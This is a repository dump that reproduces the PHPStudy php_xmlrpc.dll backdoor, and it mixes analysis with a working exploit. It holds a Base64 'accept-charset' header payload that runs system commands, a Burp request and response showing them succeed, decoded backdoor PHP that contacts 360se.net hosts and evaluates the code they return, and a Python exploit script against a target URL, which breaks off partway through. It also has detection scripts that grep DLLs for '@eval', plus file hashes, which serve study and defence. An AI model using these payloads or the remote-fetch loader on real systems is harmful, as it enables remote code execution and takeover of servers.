├── PHP-5.2.17-nginx.jpg ├── PHP-5.2.17.jpg ├── PHP-5.4.45.jpg ├── README.md ├── backdoor_dll ├── php-5.2.17 │ └── ext │ │ ├── hash.txt │ │ └── php_xmlrpc.dll └── php-5.4.45 │ └── ext │ ├── hash.txt │ └── php_xmlrpc.dll ├── check ├── pcheck.py └── pcheck.sh ├── exp_phpstudy.py ├── hex.txt ├── ida.jpg ├── payload.jpg └── zlib ├── F5.txt ├── p1.hex ├── p1.php ├── p1.zlib ├── p2.hex ├── p2.php ├── p2.zlib └── zlib2str.py /PHP-5.2.17-nginx.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/PHPStudy-Backdoor/2a0e0f5ce09626aab756b3e12d4d9920e803f09b/PHP-5.2.17-nginx.jpg -------------------------------------------------------------------------------- /PHP-5.2.17.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/PHPStudy-Backdoor/2a0e0f5ce09626aab756b3e12d4d9920e803f09b/PHP-5.2.17.jpg -------------------------------------------------------------------------------- /PHP-5.4.45.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/PHPStudy-Backdoor/2a0e0f5ce09626aab756b3e12d4d9920e803f09b/PHP-5.4.45.jpg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PHPStudy-Backdoor 后门漏洞复现 2 | phpstudy dll backdoor for v2016 and v2018 3 | 4 | ![](./PHP-5.2.17-nginx.jpg) 5 | 6 | ## 0x01 scan search for backdoor dll 7 | 8 | ``` 9 | D:\Pentester\phpStudy>python check.py 10 | === .\php\php-5.2.17\ext\php_xmlrpc.dll === 11 | @eval(%s('%s')); 12 | %s;@eval(%s('%s')); 13 | === .\php\php-5.4.45\ext\php_xmlrpc.dll === 14 | @eval(%s('%s')); 15 | %s;@eval(%s('%s')); 16 | 17 | D:\Pentester\phpStudy> 18 | 19 | >>>D:\Pentester\phpStudy\php\php-5.2.17\ext\php_xmlrpc.dll 20 | >>>D:\Pentester\phpStudy\php\php-5.4.45\ext\php_xmlrpc.dll 21 | 22 | 23 | D:\Pentester\phpStudy>md5sum .\php\php-5.2.17\ext\php_xmlrpc.dll 24 | \0f7ad38e7a9857523dfbce4bce43a9e9 *.\\php\\php-5.2.17\\ext\\php_xmlrpc.dll 25 | 26 | D:\Pentester\phpStudy>md5sum .\php\php-5.4.45\ext\php_xmlrpc.dll 27 | \c339482fd2b233fb0a555b629c0ea5d5 *.\\php\\php-5.4.45\\ext\\php_xmlrpc.dll 28 | ``` 29 | 30 | ## 0x02 exp 31 | 32 | ```Ps: 脚本编写思路: 33 | 1.先检测目标网站php版本,再执行命令,以及输出目标网站的server信息 34 | 2. 生成固定字符串md5,验证是否成功执行 35 | ``` 36 | 37 | ![](./PHP-5.2.17.jpg) 38 | 39 | 40 | 41 | ![](./PHP-5.4.45.jpg) 42 | 43 | ![](./payload.jpg) 44 | 45 | `accept-charset: echo system("net user");echo PHP_VERSION;` 46 | 47 | `Base64 encode` 48 | 49 | `accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7ZWNobyBQSFBfVkVSU0lPTjs=` 50 | 51 | ## BurpSuite Request 52 | 53 | ``` 54 | GET / HTTP/1.1 55 | Host: 172.16.9.174 56 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 57 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 58 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 59 | Connection: close 60 | accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7ZWNobyBQSFBfVkVSU0lPTjs= 61 | Accept-Encoding: gzip,deflate 62 | Upgrade-Insecure-Requests: 1 63 | 64 | 65 | ``` 66 | ## BurpSuite Response 67 | 68 | ``` 69 | HTTP/1.1 200 OK 70 | Date: Tue, 24 Sep 2019 15:06:18 GMT 71 | Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45 72 | X-Powered-By: PHP/5.4.45 73 | Connection: close 74 | Content-Type: text/html; charset=utf-8 75 | Content-Length: 17223 76 | 77 | 78 | \\JAS502N µÄÓû§ÕÊ»§ 79 | 80 | ------------------------------------------------------------------------------- 81 | Administrator CTF DefaultAccount 82 | defaultuser0 Guest 83 | ÃüÁî³É¹¦Íê³É¡£ 84 | 85 | 5.4.45 86 | ``` 87 | ## ida F5 88 | ![](./ida.jpg) 89 | ``` 90 | int __cdecl sub_100031F0(int a1, int a2, _DWORD *a3) 91 | { 92 | int v3; // edx 93 | int v4; // eax 94 | int v5; // ecx 95 | int v6; // eax 96 | int v7; // esi 97 | char *v8; // edi 98 | char *v9; // ecx 99 | int v10; // eax 100 | char *v11; // esi 101 | int v12; // eax 102 | char *v13; // edi 103 | char *v14; // ecx 104 | _DWORD *v15; // esi 105 | int v16; // eax 106 | int v17; // edx 107 | int v18; // eax 108 | int v19; // edi 109 | _DWORD *v20; // esi 110 | int result; // eax 111 | int v22; // eax 112 | int v23; // ecx 113 | int v24; // eax 114 | int v25; // edi 115 | _DWORD *v26; // esi 116 | char v27; // [esp+Dh] [ebp-19Bh] 117 | __int16 v28; // [esp+BDh] [ebp-EBh] 118 | char v29; // [esp+BFh] [ebp-E9h] 119 | char v30; // [esp+C0h] [ebp-E8h] 120 | char v31; // [esp+100h] [ebp-A8h] 121 | char v32; // [esp+140h] [ebp-68h] 122 | char v33; // [esp+180h] [ebp-28h] 123 | const char ***v34; // [esp+184h] [ebp-24h] 124 | int v35; // [esp+188h] [ebp-20h] 125 | int v36; // [esp+18Ch] [ebp-1Ch] 126 | const char ***v37; // [esp+190h] [ebp-18h] 127 | int v38; // [esp+194h] [ebp-14h] 128 | _DWORD **v39; // [esp+198h] [ebp-10h] 129 | int v40; // [esp+19Ch] [ebp-Ch] 130 | char *v41; // [esp+1A0h] [ebp-8h] 131 | char *v42; // [esp+1A4h] [ebp-4h] 132 | 133 | memset(&v27, 0, 0xB0u); 134 | v28 = 0; 135 | v3 = *a3; 136 | v29 = 0; 137 | if ( *(_BYTE *)(*(_DWORD *)(v3 + 4 * core_globals_id - 4) + 210) ) 138 | zend_is_auto_global(aServer, 7, a3); 139 | zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, 8, &v33); 140 | if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1 141 | && zend_hash_find(**v39, aHttpAcceptEnco, strlen(aHttpAcceptEnco) + 1, &v34) != -1 ) 142 | { 143 | if ( !strcmp(**v34, aGzipDeflate) ) 144 | { 145 | if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1 146 | && zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 ) 147 | { 148 | v40 = sub_100040B0(**v37, strlen(**v37)); 149 | if ( v40 ) 150 | { 151 | v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); 152 | v5 = *(_DWORD *)(v4 + 296); 153 | *(_DWORD *)(v4 + 296) = &v30; 154 | v35 = v5; 155 | v6 = setjmp3(&v30, 0); 156 | v7 = v35; 157 | if ( v6 ) 158 | *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35; 159 | else 160 | zend_eval_string(v40, 0, &byte_10012884, a3); 161 | *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7; 162 | } 163 | } 164 | } 165 | else 166 | { 167 | v12 = strcmp(**v34, aCompressGzip); 168 | if ( !v12 ) 169 | { 170 | v13 = &byte_10012884; 171 | v14 = (char *)&unk_1000D66C; 172 | v42 = &byte_10012884; 173 | v15 = &unk_1000D66C; 174 | while ( 1 ) 175 | { 176 | if ( *v15 == 39 ) 177 | { 178 | v13[v12] = 92; 179 | v42[v12 + 1] = *v14; 180 | v12 += 2; 181 | v15 += 2; 182 | } 183 | else 184 | { 185 | v13[v12++] = *v14; 186 | ++v15; 187 | } 188 | v14 += 4; 189 | if ( (signed int)v14 >= (signed int)&unk_1000E5C4 ) 190 | break; 191 | v13 = v42; 192 | } 193 | spprintf(&v36, 0, aVSMS, byte_100127B8, Dest); 194 | spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42); 195 | v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); 196 | v17 = *(_DWORD *)(v16 + 296); 197 | *(_DWORD *)(v16 + 296) = &v32; 198 | v40 = v17; 199 | v18 = setjmp3(&v32, 0); 200 | v19 = v40; 201 | if ( v18 ) 202 | { 203 | v20 = a3; 204 | *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v40; 205 | } 206 | else 207 | { 208 | v20 = a3; 209 | zend_eval_string(v42, 0, &byte_10012884, a3); 210 | } 211 | result = 0; 212 | *(_DWORD *)(*(_DWORD *)(*v20 + 4 * executor_globals_id - 4) + 296) = v19; 213 | return result; 214 | } 215 | } 216 | } 217 | if ( dword_10012AB0 - dword_10012AA0 >= dword_1000D010 && dword_10012AB0 - dword_10012AA0 < 6000 ) 218 | { 219 | if ( strlen(byte_100127B8) == 0 ) 220 | sub_10004480(byte_100127B8); 221 | if ( strlen(Dest) == 0 ) 222 | sub_10004380(Dest); 223 | if ( strlen(byte_100127EC) == 0 ) 224 | sub_100044E0(byte_100127EC); 225 | v8 = &byte_10012884; 226 | v9 = asc_1000D028; 227 | v41 = &byte_10012884; 228 | v10 = 0; 229 | v11 = asc_1000D028; 230 | while ( 1 ) 231 | { 232 | if ( *(_DWORD *)v11 == 39 ) 233 | { 234 | v8[v10] = 92; 235 | v41[v10 + 1] = *v9; 236 | v10 += 2; 237 | v11 += 8; 238 | } 239 | else 240 | { 241 | v8[v10++] = *v9; 242 | v11 += 4; 243 | } 244 | v9 += 4; 245 | if ( (signed int)v9 >= (signed int)&unk_1000D66C ) 246 | break; 247 | v8 = v41; 248 | } 249 | spprintf(&v41, 0, aEvalSS, aGzuncompress, v41); 250 | v22 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); 251 | v23 = *(_DWORD *)(v22 + 296); 252 | *(_DWORD *)(v22 + 296) = &v31; 253 | v38 = v23; 254 | v24 = setjmp3(&v31, 0); 255 | v25 = v38; 256 | if ( v24 ) 257 | { 258 | v26 = a3; 259 | *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v38; 260 | } 261 | else 262 | { 263 | v26 = a3; 264 | zend_eval_string(v41, 0, &byte_10012884, a3); 265 | } 266 | *(_DWORD *)(*(_DWORD *)(*v26 + 4 * executor_globals_id - 4) + 296) = v25; 267 | if ( dword_1000D010 < 3600 ) 268 | dword_1000D010 += 3600; 269 | ftime(&dword_10012AA0); 270 | } 271 | ftime(&dword_10012AB0); 272 | if ( dword_10012AA0 < 0 ) 273 | ftime(&dword_10012AA0); 274 | return 0; 275 | } 276 | ``` 277 | 278 | ## payload for zlib 1 279 | 280 | ``` 281 | 9 = asc_1000D028; 282 | if ( (signed int)v9 >= (signed int)&unk_1000D66C ) 283 | 284 | >>>1000D028 - 1000D66C 285 | ``` 286 | 287 | #### zlib hex 288 | ``` 289 | 78da75914d8f9b301086ffcade76f74648d2ad55ad543081d8f95aec60882f15d840091f4642c4815fbf906a55f5d0c34833d23b33cfbcf3f433bdc5d5cb531277e9b7d52f990a25d39767dfabfa98819147be423569c5d2ee2e5195f1080fc9128fa8d0c501a2f6a4db4a34f8262a30f0c8be8986b4492dd401966fb0200a39468e5d70260c875324d8f81d30d7cee8069c1994f2a45529a0051024596030ca4a46c3417ee9b36003e8978e3756fe41ed5a98e01a9b40f370a5b0977753afde43ab7cb0d5dfe77a661ae51675c80966c69617964294d4029679aa5b803cd60933987285b10716f2c180b784f9793afccbe22f300e5c929d4bf748a89419b5117389bf1f37fd81dd87c85b15a7bf73fa0f6a15d403a374d43c4b65ffd1f8e1f13a7966ec03d65f4c50c6e1ba3915f63531175ad46c14c3bd49eb4a475b2c9202bdc1bc2c932533105ccdac4e62ae7b1e1e8d3804fdd4e724d34efed8b516a2baf7e8daed90a5306fe41047a4dac1f97e9dff6198fe9357f5c5bcdf261f261fb9de9dbb5de6bfbf3fbfbefef80403bcb56978 290 | ``` 291 | #### decode zlib file1 292 | ``` 293 | bash-3.2$ pwd 294 | /Users/ale/Pentester/PHPStudy-Backdoor/backdoor_dll/php-5.4.45/ext/zlib 295 | 296 | bash-3.2$ hexdump -C p.txt |head 297 | 00000000 78 da 75 91 4d 8f 9b 30 10 86 ff ca de 76 f7 46 |x.u.M..0.....v.F| 298 | 00000010 48 d2 ad 55 ad 54 30 81 d8 f9 5a ec 60 88 2f 15 |H..U.T0...Z.`./.| 299 | 00000020 d8 40 09 1f 46 42 c4 81 5f bf 90 6a 55 f5 d0 c3 |.@..FB.._..jU...| 300 | 00000030 48 33 d2 3b 33 cf bc f3 f4 33 bd c5 d5 cb 53 12 |H3.;3....3....S.| 301 | 00000040 77 e9 b7 d5 2f 99 0a 25 d3 97 67 df ab fa 98 81 |w.../..%..g.....| 302 | 00000050 91 47 be 42 35 69 c5 d2 ee 2e 51 95 f1 08 0f c9 |.G.B5i....Q.....| 303 | 00000060 12 8f a8 d0 c5 01 a2 f6 a4 db 4a 34 f8 26 2a 30 |..........J4.&*0| 304 | 00000070 f0 c8 be 89 86 b4 49 2d d4 01 96 6f b0 20 0a 39 |......I-...o. .9| 305 | 00000080 46 8e 5d 70 26 0c 87 53 24 d8 f8 1d 30 d7 ce e8 |F.]p&..S$...0...| 306 | 00000090 06 9c 19 94 f2 a4 55 29 a0 05 10 24 59 60 30 ca |......U)...$Y`0.| 307 | bash-3.2$ 308 | 309 | bash-3.2$ file p.txt 310 | p.txt: zlib compressed data 311 | 312 | bash-3.2$ zlib_decompress p.txt p_payload.txt 313 | 314 | bash-3.2$ cat p_payload.txt 315 | 316 | @eval( base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ==')); 317 | 318 | ``` 319 | ### decode base64 320 | ``` 321 | @eval( base64_decode(' 322 | @ini_set("display_errors","0"); 323 | error_reporting(0); 324 | $h = $_SERVER['HTTP_HOST']; 325 | $p = $_SERVER['SERVER_PORT']; 326 | $fp = fsockopen($h, $p, $errno, $errstr, 5); 327 | if (!$fp) { 328 | } else { 329 | $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n"; 330 | $out .= "Host: {$h}\r\n"; 331 | $out .= "Accept-Encoding: compress,gzip\r\n"; 332 | $out .= "Connection: Close\r\n\r\n"; 333 | 334 | fwrite($fp, $out); 335 | fclose($fp); 336 | } 337 | 338 | ')); 339 | ``` 340 | 341 | ## payload for zlib 2 342 | 343 | ``` 344 | v14 = (char *)&unk_1000D66C; 345 | if ( (signed int)v14 >= (signed int)&unk_1000E5C4 ) 346 | 347 | >>>1000D66C - 1000E5C4 348 | ``` 349 | #### zlib hex2 350 | ``` 351 | 78daed54eb6ea346147e9948defc68c42569825257c538c6830d89c1e6323f7605833dc60c97150b18d487ef194862a752dfa04896612e67bef35de626994e92fc507cfff17d721785d5fef7fb1ffb9c14f1fedb8d7b37f9e3ef3f277737e6f8727b37994e5facf9743a79bee9fb7e3af9edffe7f24c9effda3721fbf6ce62bc1f589c6c745687aed2637f53a0cc2e893cab029f1db06f74916cf42869135343e56b5b32921b0d614a87fd594372bb8c3252985afaa865588c324b083da5464bfb445e62166b3425925be317b1c79daa208de46b4d4d435fa56f8e9a9b7dd012695747992b185d4b8d25afb919e74eead93c99f9caaf569a63c37996182d87b9049daa15e275f4458df5334373811219d6788b5fbe6c3581f48bc50be514e98c4539f494039e79d1ace50ace9e29af7995125de9e2a590703c439fd95385349bf7d7c74b54995bb57ced54386756e28452e4d845e03da491bea31c139c4f61fde7d89b33cb88a49c424969b1775f183a6bd7b037ca6d29f0dae2bdb7f2bfce43f31df05b18a11714487bb9f4a6b147a0d120c051ec1b35d20cd88312bef6b029285a0a1c6316cb4619eb3b38f7788c32bbc20ee7d362f06e1189d4889d6b94804e94c9a1ce609e1e71e636d0dbe7592be7fdac0b979c47d0546491ec0aab4bbf80170d78afb5599f048a738305dee60b0ee0b2b3b847a036f052e3ec89f3057df3b5e2014baee04b228bf5c501eb0b2170ae306d41ff0d030dd462dcab44860cbef3dcd4971431d6e278e5cc86dac043023c1dc37ed8a3c0181d38d2317801fcfdb52ed512955e78fdece311a925ec2d52bc3439ce236874dc3b3489e558e65908b2311381240eff5857e428010d73b71dbe33ce2f7c675820436e8a94fcabd6bbbfc17f4830e72f9dc5d79f68fb3a57f9d83de40dbe77fda05962d7dce3385b549017c89adda0e5908bafe394659057e0d4020fd1017fe09bd4d037e57ed42af9ba3e35804faef529d454eed11ee98b1eb86887dc6d402fd088c86e156b90dfab5c874e9b62ed3e599f4cc9049fadb307184795b11c73c3f78297e9eac22b455b81a2cced4882463cbcbe8ee89b6f77b137e201ddae344cb9c70dcd17ae3c80ca60f058c5fbe51aa7a1f79045fc7ed1dd7ba29f1b0c3940a7f3fe2de1783ef00fde1f6a04e01b7e2fbc7bb17cdb0ac2d8ef38cffd0ff7430fd8e17ec38dd75b3168d2ac52a5c69ed8906cf773dda11272aaf0dc07de19bc35660738fedcf3712ff9a009e03a0612e04a9e7e6ea5071679c0bb5334dc2ff01b7b10abde77d28f3af5352f030fbb198b41bb956e1c413fc95a2829f6aca1df8f6c98a2500e9901ce0e7e5c841e785db36b189b4e6e6f9fff0101e651e600 352 | ``` 353 | ### decode zlib file2 354 | 355 | ``` 356 | ale@Pentest ~/Pentester/PHPStudy-Backdoor/backdoor_dll/php-5.4.45/ext/zlib: hexdump -C p2.txt |head 357 | 358 | 00000000 78 da ed 54 eb 6e a3 46 14 7e 99 48 de fc 68 c4 |x..T.n.F.~.H..h.| 359 | 00000010 25 69 82 52 57 c5 38 c6 83 0d 89 c1 e6 32 3f 76 |%i.RW.8......2?v| 360 | 00000020 05 83 3d c6 0c 97 15 0b 18 d4 87 ef 19 48 62 a7 |..=..........Hb.| 361 | 00000030 52 df a0 48 96 61 2e 67 be f3 5d e6 26 99 4e 92 |R..H.a.g..].&.N.| 362 | 00000040 fc 50 7c ff f1 7d 72 17 85 d5 fe f7 fb 1f fb 9c |.P|..}r.........| 363 | 00000050 14 f1 fe db 8d 7b 37 f9 e3 ef 3f 27 77 37 e6 f8 |.....{7...?'w7..| 364 | 00000060 72 7b 37 99 4e 5f ac f9 74 3a 79 be e9 fb 7e 3a |r{7.N_..t:y...~:| 365 | 00000070 f9 ed ff e7 f2 4c 9e ff da 37 21 fb f6 ce 62 bc |.....L...7!...b.| 366 | 00000080 1f 58 9c 6c 74 56 87 ae d2 63 7f 53 a0 cc 2e 89 |.X.ltV...c.S....| 367 | 00000090 3c ab 02 9f 1d b0 6f 74 91 6c f4 28 69 13 53 43 |<.....ot.l.(i.SC| 368 | 369 | ale@Pentest ~/Pentester/PHPStudy-Backdoor/backdoor_dll/php-5.4.45/ext/zlib: file p2.txt 370 | p2.txt: zlib compressed data 371 | 372 | ale@Pentest ~/Pentester/PHPStudy-Backdoor/backdoor_dll/php-5.4.45/ext/zlib: zlib_decompress p2.txt p2_payload.txt 373 | 374 | ale@Pentest ~/Pentester/PHPStudy-Backdoor/backdoor_dll/php-5.4.45/ext/zlib: cat p2_payload.txt 375 | 376 | $i='info^_^'.base64_encode($V.'<|>'.$M.'<|>').'==END==';$zzz='-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------';@eval(base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs=')); 377 | 378 | ale@Pentest ~/Pentester/PHPStudy-Backdoor/backdoor_dll/php-5.4.45/ext/zlib: 379 | ``` 380 | ### decode base64 381 | ``` 382 | $i='info^_^'.base64_encode($V.'<|>'.$M.'<|>').'==END=='; 383 | $zzz='-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------'; 384 | @eval(base64_decode(' 385 | @ini_set("display_errors","0"); 386 | error_reporting(0); 387 | function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){ 388 | $result = ""; 389 | $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); 390 | if( !$handle ){ 391 | $handle = fsockopen($ip, intval($port), $errno, $errstr, 5); 392 | if( !$handle ){ 393 | return "err"; 394 | } 395 | } 396 | fwrite($handle, $sendMsg."\n"); 397 | while(!feof($handle)){ 398 | stream_set_timeout($handle, 2); 399 | $result .= fread($handle, 1024); 400 | $info = stream_get_meta_data($handle); 401 | if ($info['timed_out']) { 402 | break; 403 | } 404 | } 405 | fclose($handle); 406 | return $result; 407 | } 408 | 409 | $ds = array("www","bbs","cms","down","up","file","ftp"); 410 | $ps = array("20123","40125","8080","80","53"); 411 | $n = false; 412 | do { 413 | $n = false; 414 | foreach ($ds as $d){ 415 | $b = false; 416 | foreach ($ps as $p){ 417 | $result = tcpGet($i,$d.".360se.net",$p); 418 | if ($result != "err"){ 419 | $b =true; 420 | break; 421 | } 422 | } 423 | if ($b)break; 424 | } 425 | $info = explode("<^>",$result); 426 | if (count($info)==4){ 427 | if (strpos($info[3],"/*Onemore*/") !== false){ 428 | $info[3] = str_replace("/*Onemore*/","",$info[3]); 429 | $n=true; 430 | } 431 | @eval(base64_decode($info[3])); 432 | } 433 | }while($n); 434 | 435 | ')); 436 | ``` 437 | 438 | 439 | ## 参考链接 440 | 441 | https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw 442 | -------------------------------------------------------------------------------- /backdoor_dll/php-5.2.17/ext/hash.txt: -------------------------------------------------------------------------------- 1 | 0f7ad38e7a9857523dfbce4bce43a9e9 *php_xmlrpc.dll 2 | -------------------------------------------------------------------------------- /backdoor_dll/php-5.2.17/ext/php_xmlrpc.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/PHPStudy-Backdoor/2a0e0f5ce09626aab756b3e12d4d9920e803f09b/backdoor_dll/php-5.2.17/ext/php_xmlrpc.dll -------------------------------------------------------------------------------- /backdoor_dll/php-5.4.45/ext/hash.txt: -------------------------------------------------------------------------------- 1 | c339482fd2b233fb0a555b629c0ea5d5 *php_xmlrpc.dll 2 | -------------------------------------------------------------------------------- /backdoor_dll/php-5.4.45/ext/php_xmlrpc.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/PHPStudy-Backdoor/2a0e0f5ce09626aab756b3e12d4d9920e803f09b/backdoor_dll/php-5.4.45/ext/php_xmlrpc.dll -------------------------------------------------------------------------------- /check/pcheck.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf8 -*- 2 | __author__='pcat@chamd5.org' 3 | __blog__='http://pcat.cc' 4 | 5 | import os 6 | import string 7 | import re 8 | 9 | 10 | def strings(file) : 11 | chars = string.printable[:94] 12 | shortestReturnChar = 4 13 | regExp = '[%s]{%d,}' % (chars, shortestReturnChar) 14 | pattern = re.compile(regExp) 15 | with open(file, 'rb') as f: 16 | return pattern.findall(f.read()) 17 | 18 | 19 | def grep(lines,pattern): 20 | for line in lines: 21 | if pattern in line: 22 | yield line 23 | 24 | 25 | def pcheck(filename): 26 | # trojan feature 27 | trojan='@eval' 28 | # just check dll file 29 | if filename.endswith('.dll'): 30 | lines=strings(filename) 31 | try: 32 | grep(lines,trojan).next() 33 | except: 34 | return 35 | print '=== {0} ==='.format(filename) 36 | for line in grep(lines,trojan): 37 | print line 38 | pass 39 | 40 | 41 | def foo(): 42 | # . stand for current directory 43 | for path, dirs, files in os.walk(".", topdown=False): 44 | for name in files: 45 | pcheck(os.path.join(path, name)) 46 | for name in dirs: 47 | pcheck(os.path.join(path, name)) 48 | pass 49 | 50 | 51 | if __name__ == '__main__': 52 | foo() -------------------------------------------------------------------------------- /check/pcheck.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | # author: pcat@chamd5.org 3 | # http://pcat.cc 4 | 5 | # trojan feature 6 | trojan=@eval 7 | 8 | function check_dir(){ 9 | for file in `ls $1` 10 | do 11 | f2=$1"/"$file 12 | if [ -d $f2 ] 13 | then 14 | check_dir $f2 15 | # just check dll file 16 | elif [ "${file##*.}"x = "dll"x ] 17 | then 18 | strings $f2 |grep -q $trojan 19 | if [ $? == 0 ] 20 | then 21 | echo "===" $f2 "====" 22 | strings $f2 |grep $trojan 23 | fi 24 | fi 25 | done 26 | } 27 | # . stand for current directory 28 | check_dir . -------------------------------------------------------------------------------- /exp_phpstudy.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | 3 | 4 | import requests 5 | import sys 6 | import base64 7 | 8 | ''' 9 | === .\php\php-5.2.17\ext\php_xmlrpc.dll === 10 | @eval(%s('%s')); 11 | %s;@eval(%s('%s')); 12 | === .\php\php-5.4.45\ext\php_xmlrpc.dll === 13 | @eval(%s('%s')); 14 | %s;@eval(%s('%s')); 15 | 16 | .\php\php-5.2.17\ext\php_xmlrpc.dll 17 | .\php\php-5.4.45\ext\php_xmlrpc.dll 18 | 19 | 20 | ''' 21 | 22 | banner = r''' 23 | 24 | _ _ _ 25 | | | | | | | 26 | _ __ | |__ _ __ ___ | |_ _ _ __| | _ _ 27 | | '_ \ | '_ \ | '_ \ / __|| __|| | | | / _` || | | | 28 | | |_) || | | || |_) |\__ \| |_ | |_| || (_| || |_| | 29 | | .__/ |_| |_|| .__/ |___/ \__| \__,_| \__,_| \__, | 30 | | | | | __/ | 31 | |_| |_| |___/ 32 | 33 | 34 | PhpStudy BackDoor For php 5.2.17 and 5.4.45 35 | 36 | Python By jas502n 37 | 38 | Usage: python exp.py http://x.x.x.x/ 39 | ''' 40 | print banner 41 | 42 | 43 | def check_phpversion(url): 44 | # echo PHP_VERSION; 45 | payload = base64.b64encode("echo PHP_VERSION;") 46 | # print payload 47 | headers = { 48 | "User-Agent": "Mozilla/5.0 (Windows NT 